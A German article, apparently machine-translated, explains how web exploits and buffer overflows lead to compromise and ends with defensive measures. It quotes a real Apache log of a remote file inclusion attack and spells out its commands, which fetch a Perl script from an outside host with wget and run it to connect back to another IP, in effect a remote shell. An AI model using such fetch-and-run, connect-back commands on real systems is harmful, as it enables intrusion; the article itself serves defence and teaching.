Exploits versuchen naturgemäß, nicht entdeckt zu werden. Die meisten Exploits gelangen also nicht auf normalem Wege in das System, zumindest nicht anfangs. Sie verwenden normalerweise so etwas wie einen Pufferüberlauf, um Zugriff auf das System zu erhalten.
Pufferüberlauf
Dieser Angriffsstil sucht nach Teilen einer Anwendung, die Eingaben von einem Benutzer entgegennehmen möchten. Denken Sie an eine Webseite und die verschiedenen Textfelder, in denen Sie Informationen bereitstellen müssen, indem Sie Dinge in diese Textfelder eingeben. Jedes dieser Textfelder ist ein potenzieller Einstiegspunkt für einen potenziellen Angreifer.
Die gute Nachricht:
- Die meisten dieser Angriffe erhalten keinen Root-Zugriff, sie erhalten Zugriff auf ein Benutzerkonto, das speziell für den Webserver eingerichtet wurde, sodass es normalerweise nur eingeschränkten Zugriff auf Webserverdateien und -funktionen hat.
- beim Einbruch hat der Angreifer in einigen Bereichen eine beträchtliche Spur hinterlassen.
- Die Firewall-Protokolle
- Webserver-Protokolle
- Andere potenzielle Sicherheitstool-Protokolle
Die schlechte Nachricht:
- Sie haben sich Zugang zu einem System verschafft und damit einen Brückenkopf, an dem sie weiterhin versuchen können, weiter einzudringen.
- Die Protokolle. Ja, meistens werden Einbrüche wochen-/monate-/jahrelang nicht erkannt, da die Analyse von Protokollen sowohl zeitaufwändig als auch fehleranfällig ist.
Root-Anmeldungen erkennen
Die meisten Systeme sind so konzipiert, dass sie keine Root-Anmeldungen zulassen, sodass dieser Angriffsvektor kein wirkliches Problem darstellt. Die meisten Angriffe verschaffen sich Zugriff auf ein anderes Konto auf niedrigerer Ebene und machen sich dann zunutze, indem sie zusätzliche Schwachstellen finden, sobald sie einen Brückenkopf auf Ihrem System eingerichtet haben.
Beispiel #1:
Ein potenzieller Angreifer könnte wie folgt Root-Zugriff erlangen:
- Bringen Sie in das Webserver-Konto eines Systems ein, indem Sie eine verwundbare Webseite finden, die die Eingabe eines Benutzers aus irgendeinem Formular über Textfelder verarbeitet.
- Sobald der Zugriff auf das Webserverkonto erreicht wurde, versuchen Sie entweder, über das Konto des Webservers Shell-Zugriff zu erhalten, oder versuchen Sie, das Webserverkonto dazu zu bringen, Befehle in Ihrem Namen auszuführen.
- Stellen Sie fest, dass es eine Schwachstelle in der Version dieses bestimmten Systems eines Tools wie dem Befehl
ls
gibt . - Überlaufen Sie das Tool
ls
um Zugriff auf das Root-Konto zu erhalten.
Beispiel Nr. 2:
Ein potenzieller Angreifer ist möglicherweise nicht einmal daran interessiert, die volle Kontrolle über Ihr System zu erlangen. Die meisten Einbrecher interessieren sich nur für Sammelsysteme, um sie als "Sklaven" für andere Zwecke zu verwenden. So oft ist der Angreifer nur daran interessiert, seine Software auf Ihrem System zu installieren, damit er das System nutzen kann, ohne jemals die volle Kontrolle über das System zu erlangen.
- Stellen Sie fest, dass eine bestimmte Website Webapp X verfügbar gemacht hat. Der Angreifer weiß, dass Webapp X eine Schwachstelle aufweist, bei der Webapp X Benutzern das Hochladen von Bilddateien ermöglicht.
- Der Angreifer bereitet eine Datei namens
CMD.gif
vor und lädt es hoch. Vielleicht ist es zum Beispiel das Avatarbild eines Benutzers auf einer Forumseite. AberCMD.gif
ist kein Bild, sondern ein Programm, dasCMD.gif
heißt . - Angreifer lädt "Bild" auf die Forumsseite hoch.
- Jetzt „täuscht“ der Angreifer Webapp X dazu, sein „Image“ auszuführen.
- Der Angreifer ruft mit seinem Browser Webapp X auf, aber er ruft es auf eine Weise auf, die sich die Autoren von Webapp X nie vorgestellt haben. Sie haben Webapp X auch nicht so konzipiert, dass es dies nicht zulässt.
Webserver-Logdatei eines solchen Angriffs
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200
HINWEIS: Beispielprotokoll von einem Apache-Webserver mit freundlicher Genehmigung von OSSEC.net.
Hier bringt der Angreifer die Webapp X (index.php) dazu, CMD.gif
auszuführen die dann folgendes tun kann:
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
Also haben sie webapp X dazu überredet, Verzeichnisse auf /tmp
zu ändern , laden Sie eine Datei herunter, dc.txt
, und führen Sie dann die Datei aus, die eine Verbindung zurück zur IP-Adresse 72.36.21.183 auf Port 21 herstellt.
Deaktivieren eines "kompromittierten" Servers
Die Idee, dass Sie einen Server herunterfahren können, der einen Exploit "entdeckt" hat, ist ein guter Versuch, aber er funktioniert aus mehreren Gründen nicht.
- Wenn der Angreifer in das erste System eindringen kann, kann er wahrscheinlich auch in das zweite System eindringen.
- Die meisten Systeme sind im Wesentlichen Klone voneinander. Sie sind einfacher zu warten, und es ist ein Markenzeichen der meisten Dinge in der IT und bei Computern, die Dinge einfach (gleich) zu halten.
- Unterschiedliche Konfigurationen bedeuten mehr Arbeit bei der Wartung der Systeme und mehr Möglichkeiten, Fehler zu machen, was normalerweise erst zu einer Schwachstelle führt.
- Das Ziel des Angreifers besteht möglicherweise nicht darin, einzubrechen, er versucht möglicherweise, den Zugriff auf Ihren Dienst zu verweigern. Dies wird als Denial-of-Service (DoS) bezeichnet.
Versuch, den Schaden zu begrenzen
Ich könnte weiter und weiter fortfahren, aber im Allgemeinen stehen Ihnen einige Ressourcen zur Verfügung, wenn es um die Sicherung eines Systems geht.
- Verwenden Sie Tools wie Tripwire, um Änderungen am Dateisystem eines Systems zu erkennen.
- Firewalls – Beschränken Sie den Zugriff, sodass er nur bei Bedarf explizit zugelassen wird, anstatt vollen Zugriff auf alles zu haben.
- Analysieren Sie Protokolldateien mit Tools, um Anomalien zu erkennen.
- Halten Sie Systeme mit Patches auf dem neuesten Stand.
- Beschränken Sie die Exposition - installieren Sie nur Software, die auf einem System benötigt wird - wenn es den
gcc
nicht benötigt Compiler installiert, nicht installieren. - IDS - Intrusion Detection Software.